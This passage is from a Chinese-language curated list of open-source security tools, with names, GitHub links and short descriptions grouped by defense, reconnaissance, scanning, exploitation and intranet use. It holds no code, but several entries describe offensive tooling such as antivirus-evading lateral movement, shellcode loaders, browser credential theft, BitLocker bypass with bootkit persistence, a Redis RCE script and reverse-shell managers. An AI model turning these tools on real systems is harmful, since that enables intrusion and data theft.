stars](https://img.shields.io/github/stars/C4o/Juggler.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/C4o/Juggler>\n\n一个也许能骗到黑客的系统，可以作为WAF等防护体系的一环。\n\n### [vArmor](detail/vArmor.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/vArmor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.9.2-red)\n\n<https://github.com/bytedance/vArmor>\n\nvArmor 是一个云原生容器沙箱系统，它借助 Linux 的 LSM 技术（AppArmor & BPF）实现强制访问控制器（即 enforcer），从而对容器进行安全加固。它可以用于增强容器隔离性、减少内核攻击面、增加容器逃逸或横行移动攻击的难度与成本。vArmor 遵循 Kubernetes Operator 设计模式，用户可通过操作 CRD API 对特定的 Workload 进行加固。从而以更贴近业务的视角，实现对容器化微服务的沙箱加固。此外 vArmor 还包含多种内置加固策略，具备开箱即用的特性。\n\n### [Hades](detail/Hades.md)\n![Author](https://img.shields.io/badge/Author-theSecHunter-orange)\n![Language](https://img.shields.io/badge/Language-Golang&C++&C-blue)\n![GitHub stars](https://img.shields.io/github/stars/theSecHunter/Hades.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/theSecHunter/Hades>\n\nHades 是一款支持 Windows/Linux 的内核级别数据采集主机入侵检测系统，其中每个插件均可独立分开运行。\n\n\n\n## 信息收集/reconnaissance\n### [ENScanGo](detail/ENScanGo.md)\n![Author](https://img.shields.io/badge/Author-wgpsec-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/wgpsec/ENScan_GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.4-red)\n\n<https://github.com/wgpsec/ENScan_GO>\n\n一款基于各大企业信息API的工具，解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。\n\n### [HaE](detail/HaE.md)\n![Author](https://img.shields.io/badge/Author-gh0stkey-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/gh0stkey/HaE.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V5.1.1-red)\n\n<https://github.com/gh0stkey/HaE>\n\nHaE是一款可以快速挖掘目标指纹和关键信息的Burp插件。\n\n### [AppInfoScanner](detail/AppInfoScanner.md)\n![Author](https://img.shields.io/badge/Author-kelvinBen-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/kelvinBen/AppInfoScanner.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n\n<https://github.com/kelvinBen/AppInfoScanner>\n\n一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。\n\n### [ksubdomain](detail/ksubdomain.md)\n![Author](https://img.shields.io/badge/Author-w8ay-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/boy-hack/ksubdomain.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2.1-red)\n\n<https://github.com/boy-hack/ksubdomain>\n\nksubdomain是一款基于无状态子域名爆破工具，支持在Windows/Linux/Mac上使用，它会很快的进行DNS爆破，在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。\n\n### [qscan](detail/qscan.md)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![Language](https://img.shields.io/badge/Language-Go-blue)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/qscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.1-red)\n\n<https://github.com/qi4L/qscan>\n\n一个速度极快的内网扫描器，具备端口扫描、协议检测、指纹识别，暴力破解，漏洞探测等功能。支持协议1200+，协议指纹10000+，应用指纹20000+，暴力破解协议10余种。\n\n### [Kunyu](detail/Kunyu.md)\n![Author](https://img.shields.io/badge/Author-风起-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.0-red)\n\n<https://github.com/knownsec/Kunyu>\n\nKunyu(坤舆)，是一款基于ZoomEye API开发的信息收集工具，旨在让企业资产收集更高效，使更多安全相关从业者了解、使用网络空间测绘技术。\n\n### [Glass](detail/Glass.md)\n![Author](https://img.shields.io/badge/Author-s7ckTeam-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/s7ckTeam/Glass.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.6-red)\n\n<https://github.com/s7ckTeam/Glass>\n\nGlass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹，也可针对IP/IP段或资产列表进行快速的指纹识别。\n\n### [scaninfo](detail/scaninfo.md)\n![Author](https://img.shields.io/badge/Author-华东360安服团队-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/redtoolskobe/scaninfo.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/redtoolskobe/scaninfo>\n\nscaninfo 是一款开源、轻量、快速、跨平台的红队内外网打点扫描器。比较同类工具，其能够在 nmap 的扫描速度和 masscan 的准确度之间寻找一个较好的平衡点，能够快速进行端口扫描和服务识别，内置指纹识别用于 web 探测，可以用报告的方式整理扫描结果。\n\n### [ZoomEye-Python](detail/ZoomEye-Python.md)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ZoomEye-python.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.0-red)\n\n<https://github.com/knownsec/ZoomEye-python>\n\nZoomEye-python 是一款基于 ZoomEye API 开发的 Python 库，提供了 ZoomEye 命令行模式，同时也可以作为 SDK 集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据\n\n### [ct](detail/ct.md)\n![Author](https://img.shields.io/badge/Author-rungobier@Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/ct.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.9-red)\n\n<https://github.com/knownsec/ct>\n\nct 是一款使用 rust 语言进行开发，并且基于ZoomEye域名查询以及利用域名字典进行子域名爆破的工具，同时在最终爆破完成后可使用脚本，将相应的的.gv 文件转化成为相应的 .png 文件进行可视化展示\n\n### [xtate](detail/xtate.md)\n![Author](https://img.shields.io/badge/Author-sharkocha-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/babycoff/xtate.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.13.0-red)\n\n<https://github.com/babycoff/xtate>\n\nXtate是面向互联网规模网络测量的模块化全栈扫描器（框架）。利用自研的应用层无状态扫描模型ZBanner和混合状态轻量级TCP协议栈HLTCP实现异步高速扫描。与已有的无状态端口扫描器只能探测端口是否开放不同，Xtate基于应用层无状态扫描模型，在千兆带宽下能够在6分钟内完成中国大陆地址集中所有80端口的开放性检测和Banner抓取。基于HLTCP用户态协议栈实现和TLS支持，Xtate也能够在有状态模式下执行多轮数据交互的高速扫描，包括TLS上层服务Banner抓取。Xtate框架提供统一接口以自定义模块实现不同的扫描任务，专注于大规模网络的协议层面测量（包括传输层、应用层和TLS上层服务），具有坚实的底层高速异步数据包收发机制，期望为学术和实践领域中大规模网络测量的各种算法和任务提供承载平台。\n\n### [Zoomeye-Tools](detail/ZoomEye-Tools.md)\n![Author](https://img.shields.io/badge/Author-Knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-JS-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Zoomeye-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.2-red)\n\n<https://github.com/knownsec/Zoomeye-Tools>\n\n一个配合ZoomEye使用的Chrome插件，可以查看当前网页所在ip信息或跳转查看详细信息，还可以根据关键词一键跳转至ZoomEye进行搜索\n\n### [ZoomEye-go](detail/ZoomEye-go.md)\n![Author](https://img.shields.io/badge/Author-gyyyy-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/gyyyy/ZoomEye-go.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/gyyyy/ZoomEye-go>\n\nZoomEye-go 是一款基于 ZoomEye API 开发的 Golang 库，提供了 ZoomEye 命令行模式，同时也可以作为SDK集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据。\n\n### [vultrap](detail/vultrap.md)\n![Author](https://img.shields.io/badge/Author-liqzz-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/liqzz/vultrap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/liqzz/vultrap>\n\n在开源领域，从来不缺少优秀的漏洞POC框架和POC，现今情况下，当有相关漏洞的漏洞情报出现的时候，其用于漏洞的验证的POC代码或利用请求都会很快的被公布在互联网上，比如Nuclei等漏洞检测框架也会即时得跟进新的漏洞，并以漏洞检测模板的形式进行更新，如nuclei 的nuclei-temaplte 仓库几乎每天都会出现新的漏洞需求和检测模板提交。对于漏洞检测模板而言，其主要目的用来验证目标是否存在漏洞，但仔细了解漏洞检测的机制之后，漏洞检测大多数情况下实际就是构造请求和判断响应的过程，那么基于次，是否可以反向思维，通过判断漏洞验证的请求来返回迷惑性的结果，扰乱扫描器的判断呢，其实本质还是honeypot的思路，也可以称“漏洞伪装”，也是本项目 vultrap的实现背景。\n\n\n\n## 漏洞探测/vulnerability_assessment\n### [afrog](detail/afrog.md)\n![Author](https://img.shields.io/badge/Author-zan8in-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/zan8in/afrog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3.9-red)\n\n<https://github.com/zan8in/afrog>\n\nafrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描工具，PoC 包含 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。\n\n### [Kunpeng](detail/Kunpeng.md)\n![Author](https://img.shields.io/badge/Author-opensec-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/opensec-cn/kunpeng.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/opensec-cn/kunpeng>\n\nKunpeng是一个Golang编写的开源POC检测框架，集成了包括数据库、中间件、web组件、cms等等的漏洞POC，可检测弱口令、SQL注入、XSS、RCE等漏洞类型，以动态链接库的形式提供调用，通过此项目可快速开发漏洞检测类的系统，比攻击者快一步发现风险漏洞。\n\n### [Pocassist](detail/Pocassist.md)\n![Author](https://img.shields.io/badge/Author-jweny-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/jweny/pocassist.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.5-red)\n\n<https://github.com/jweny/pocassist>\n\nPocassist 是一个 Golang 编写的全新开源漏洞测试框架，帮助安全人员专注于漏洞验证的逻辑的实现。Pocassist 提供了简洁的 Web 图形化界面，用户可以在线编辑漏洞验证程序即可进行批量的测试；规则完全兼容 xray，可以直接使用现有开源的 PoC 库，同时也支持添加自定义规则。\n\n### [myscan](detail/myscan.md)\n![Author](https://img.shields.io/badge/Author-amcai-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/amcai/myscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/amcai/myscan>\n\nmyscan是参考awvs的poc目录架构，pocsuite3、sqlmap等代码框架，以及搜集互联网上大量的poc，由python3开发而成的被动扫描工具。\n\n### [LSpider](detail/LSpider.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LSpider.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n\n<https://github.com/knownsec/LSpider>\n\nLSpider 一个为被动扫描器定制的前端爬虫\n\n\n\n## 攻击与利用/penetration_test\n### [dperf](detail/dperf.md)\n![Author](https://img.shields.io/badge/Author-Benjamin-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/baidu/dperf.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.0-red)\n\n<https://github.com/baidu/dperf>\n\ndperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。\n\n### [CDK](detail/CDK.md)\n![Author](https://img.shields.io/badge/Author-cdkteam-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/cdk-team/CDK.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.6-red)\n\n<https://github.com/cdk-team/CDK>\n\nCDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理。\n\n### [pocsuite3](detail/pocsuite3.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/pocsuite3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.0-red)\n\n<https://github.com/knownsec/pocsuite3>\n\npocsuite3是由Knownsec 404团队开发的开源远程漏洞测试和概念验证开发框架。它带有强大的概念验证引擎，以及针对最终渗透测试人员和安全研究人员的许多强大功能。\n\n### [MDUT](detail/MDUT.md)\n![Author](https://img.shields.io/badge/Author-Ch1ngg-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/SafeGroceryStore/MDUT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.1-red)\n\n<https://github.com/SafeGroceryStore/MDUT>\n\nMDUT 全称 Multiple Database Utilization Tools，旨在将常见的数据库利用手段集合在一个程序中，打破各种数据库利用工具需要各种环境导致使用相当不便的隔阂；MDUT 使用 Java 开发，支持跨平台使用。\n\n### [JYso](detail/JYso.md)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/JYso.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.6.1-red)\n\n<https://github.com/qi4L/JYso>\n\nJYso是一个可以用于 jndi 注入攻击和生成反序列化数据流的工具，既可以当 JNDIExploit 用也可以当作 ysoserial 使用。\n\n### [BurpCrypto](detail/BurpCrypto.md)\n![Author](https://img.shields.io/badge/Author-whwlsfb-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/whwlsfb/BurpCrypto.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/whwlsfb/BurpCrypto>\n\n支持多种加密算法或直接执行JS代码的用于爆破前端加密的BurpSuite插件。\n\n### [WMIHACKER](detail/WMIHACKER.md)\n![Author](https://img.shields.io/badge/Author-rootclay-orange)\n![Language](https://img.shields.io/badge/Language-VBScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/rootclay/WMIHACKER.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/rootclay/WMIHACKER>\n\nWMIHACKER是一款免杀横向渗透远程命令执行工具，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出的WMIHACKER可免杀横向移动。并且在企业网络目前阻断445端口严重的情况下可以无需445端口进行横向移动，效率高且不易被检测。\n\n### [MySQL-Fake-Server](detail/MySQL-Fake-Server.md)\n![Author](https://img.shields.io/badge/Author-fnmsd-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/fnmsd/MySQL_Fake_Server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/fnmsd/MySQL_Fake_Server>\n\n用于渗透测试过程中的假MySQL服务器，纯原生python3实现，不依赖其它包。\n\n### [DNSlog-GO](detail/DNSlog-GO.md)\n![Author](https://img.shields.io/badge/Author-lanyi-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/lanyi1998/DNSlog-GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.3.1-red)\n\n<https://github.com/lanyi1998/DNSlog-GO>\n\nDNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具，自带WEB界面。单文件运行，无依赖。部署方便快捷。\n\n### [Cloud-Bucket-Leak-Detection-Tools](detail/Cloud-Bucket-Leak-Detection-Tools.md)\n![Author](https://img.shields.io/badge/Author-UzJu-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/UzJu/Cloud-Bucket-Leak-Detection-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.0-red)\n\n<https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools>\n\nCloud-Bucket-Leak-Detection-Tools是一款针对云厂商存储桶扫描检测与利用的工具\n\n### [ysomap](detail/ysomap.md)\n![Author](https://img.shields.io/badge/Author-wh1t3p1g-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/wh1t3p1g/ysomap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.4-red)\n\n<https://github.com/wh1t3p1g/ysomap>\n\nYsomap是一款适配于各类实际复杂环境的Java反序列化利用框架，可动态配置具备不同执行效果的Java反序列化利用链payload，以应对不同场景下的反序列化利用。\n\n### [Antenna](detail/Antenna.md)\n![Author](https://img.shields.io/badge/Author-wuba-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/wuba/Antenna.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.5-red)\n\n<https://github.com/wuba/Antenna>\n\nAntenna是58同城安全团队打造的一款辅助安全从业人员辅助验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试( OAST)通过任务的形式，将不同漏洞场景检测能力通过插件的形式进行集合，通过与目标进行Out-of-bind的数据通信方式进行辅助检测。\n\n### [GrabAccess](detail/GrabAccess.md)\n![Author](https://img.shields.io/badge/Author-Push3AX-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/Push3AX/GrabAccess.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/Push3AX/GrabAccess>\n\nGrabAccess：Bookit/Windows登陆密码和Bitlocker绕过工具，在物理接触目标计算机的情况下，GrabAccess可以：绕过Windows登陆密码执行任意操作（以System权限执行命令、重置Windows账户密码等），植入木马并添加自启动（可以绕过Bitlocker，但要求受害者登录），通过修改主板UEFI固件实现无视重装系统、更换硬盘的持久化（Bootkit）\n\n### [Redis-Rogue-Server](detail/Redis-Rogue-Server.md)\n![Author](https://img.shields.io/badge/Author-Dliv3-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Dliv3/redis-rogue-server.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/Dliv3/redis-rogue-server>\n\nRedis 4.x/Redis 5.x RCE利用脚本. 项目最初来源于 <https://github.com/n0b0dyCN/redis-rogue-server>\n\n### [Cola-Dnslog](detail/Cola-Dnslog.md)\n![Author](https://img.shields.io/badge/Author-AbelChe-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/AbelChe/cola_dnslog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/AbelChe/cola_dnslog>\n\nCola Dnslog 是一款更加强大的dnslog平台(无回显漏洞探测辅助平台)，支持dns http ldap rmi等协议，提供API调用方式便于与其他工具结合，支持钉钉机器人、Bark等提醒，并支持docker一键部署。\n\n### [MysqlT](detail/MysqlT.md)\n![Author](https://img.shields.io/badge/Author-BeichenDream-orange)\n![Language](https://img.shields.io/badge/Language-C%23-blue)\n![GitHub stars](https://img.shields.io/github/stars/BeichenDream/MysqlT.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/BeichenDream/MysqlT>\n\n伪造Myslq服务端,并利用Mysql逻辑漏洞来获取客户端的任意文件反击攻击。\n\n\n\n## 信息分析/information_analysis\n### [HackBrowserData](detail/HackBrowserData.md)\n![Author](https://img.shields.io/badge/Author-moonD4rk-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/moonD4rk/HackBrowserData.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.6-red)\n\n<https://github.com/moonD4rk/HackBrowserData>\n\nhack-browser-data 是一个解密浏览器数据（密码/历史记录/Cookies/书签）的导出工具，支持全平台主流浏览器的数据导出窃取。\n\n### [KunLun-M](detail/KunLun-M.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/LoRexxar/Kunlun-M.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.6.5-red)\n\n<https://github.com/LoRexxar/Kunlun-M>\n\nKunLun-M是一个完全开源的静态白盒扫描工具，支持PHP、JavaScript的语义扫描，基础安全、组件安全扫描，Chrome Ext\\Solidity的基础扫描。\n\n### [Pillager](detail/Pillager.md)\n![Author](https://img.shields.io/badge/Author-qwqdanchun-orange)\n![Language](https://img.shields.io/badge/Language-C#-blue)\n![GitHub stars](https://img.shields.io/github/stars/qwqdanchun/Pillager.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/qwqdanchun/Pillager>\n\nPillager是一个适用于后渗透期间的信息收集工具，可以收集目标机器上敏感信息，方便下一步渗透工作的进行。\n\n### [AppScan](detail/AppScan.md)\n![Author](https://img.shields.io/badge/Author-TongchengOpenSource-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/TongchengOpenSource/AppScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/TongchengOpenSource/AppScan>\n\n安全隐私卫士（AppScan）一款免费的企业级自动化App隐私合规检测工具\n\n### [frida-skeleton](detail/frida-skeleton.md)\n![Author](https://img.shields.io/badge/Author-Margular-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Margular/frida-skeleton.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3-red)\n\n<https://github.com/Margular/frida-skeleton>\n\nfrida-skeleton是基于frida的安卓hook框架，提供了很多frida自身不支持的功能，将hook安卓变成简单便捷，人人都会的事情。\n\n### [java-object-searcher](detail/java-object-searcher.md)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/java-object-searcher.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.0-red)\n\n<https://github.com/c0ny1/java-object-searcher>\n\njava内存对象搜索辅助工具，配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显等场景。\n\n### [js-cookie-monitor-debugger-hook](detail/js-cookie-monitor-debugger-hook.md)\n![Author](https://img.shields.io/badge/Author-JSREI-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/JSREI/js-cookie-monitor-debugger-hook.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.11.0-red)\n\n<https://github.com/JSREI/js-cookie-monitor-debugger-hook>\n\njs cookie逆向利器：js cookie变动监控可视化工具 & js cookie hook打条件断点\n\n### [MySQLMonitor](detail/MySQLMonitor.md)\n![Author](https://img.shields.io/badge/Author-TheKingOfDuck-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/TheKingOfDuck/MySQLMonitor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/TheKingOfDuck/MySQLMonitor>\n\nMySQL实时监控工具(代码审计/黑盒/白盒审计辅助工具) \n\n### [CodeReviewTools](detail/CodeReviewTools.md)\n![Author](https://img.shields.io/badge/Author-Ppsoft1991-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/Ppsoft1991/CodeReviewTools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/Ppsoft1991/CodeReviewTools>\n\nCodeReviewTools是一个可以快速批量反编译jar包的工具，为审计Java代码做好第一步。\n\n\n\n## 内网工具/intranet_tools\n### [fscan](detail/fscan.md)\n![Author](https://img.shields.io/badge/Author-shadow1ng-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/shadow1ng/fscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.1-red)\n\n<https://github.com/shadow1ng/fscan>\n\n一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。\n\n### [antSword](detail/antSword.md)\n![Author](https://img.shields.io/badge/Author-AntSwordProject-orange)\n![Language](https://img.shields.io/badge/Language-Nodejs-blue)\n![GitHub stars](https://img.shields.io/github/stars/AntSwordProject/antSword.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.15-red)\n\n<https://github.com/AntSwordProject/antSword>\n\n中国蚁剑是一款开源的跨平台网站管理工具。\n\n### [Stowaway](detail/Stowaway.md)\n![Author](https://img.shields.io/badge/Author-ph4ntonn-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Stowaway.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2-red)\n\n<https://github.com/ph4ntonn/Stowaway>\n\nStowaway 是一款多级代理工具，可将外部流量通过多个节点代理至内网，突破内网访问限制。Stowaway 可以方便渗透测试人员通过多级跳跃，从外部dmz等一系列区域逐步深入核心网络；Stowaway 除了流量转发功能，还提供了端口复用、ssh隧道，流量伪装等专为渗透测试人员所用的功能。\n\n### [shellcodeloader](detail/shellcodeloader.md)\n![Author](https://img.shields.io/badge/Author-m0ngo0se@knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-C++-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/shellcodeloader.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/knownsec/shellcodeloader>\n\nWindows平台的shellcode免杀加载器，自带多种加载方式：32位自带13种加载方式，64位自带12种加载方式。\n\n### [ServerScan](detail/ServerScan.md)\n![Author](https://img.shields.io/badge/Author-Adminisme-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/Adminisme/ServerScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n\n<https://github.com/Adminisme/ServerScan>\n\n一款使用Golang开发且适用于攻防演习内网横向信息收集的高并发网络扫描、服务探测工具。\n\n### [Platypus](detail/Platypus.md)\n![Author](https://img.shields.io/badge/Author-WangYihang-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/WangYihang/Platypus.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/WangYihang/Platypus>\n\nPlatypus 是一个基于终端与 Web UI 交互式的反弹 Shell 会话管理工具。在实际的渗透测试中，为了解决 Netcat/Socat 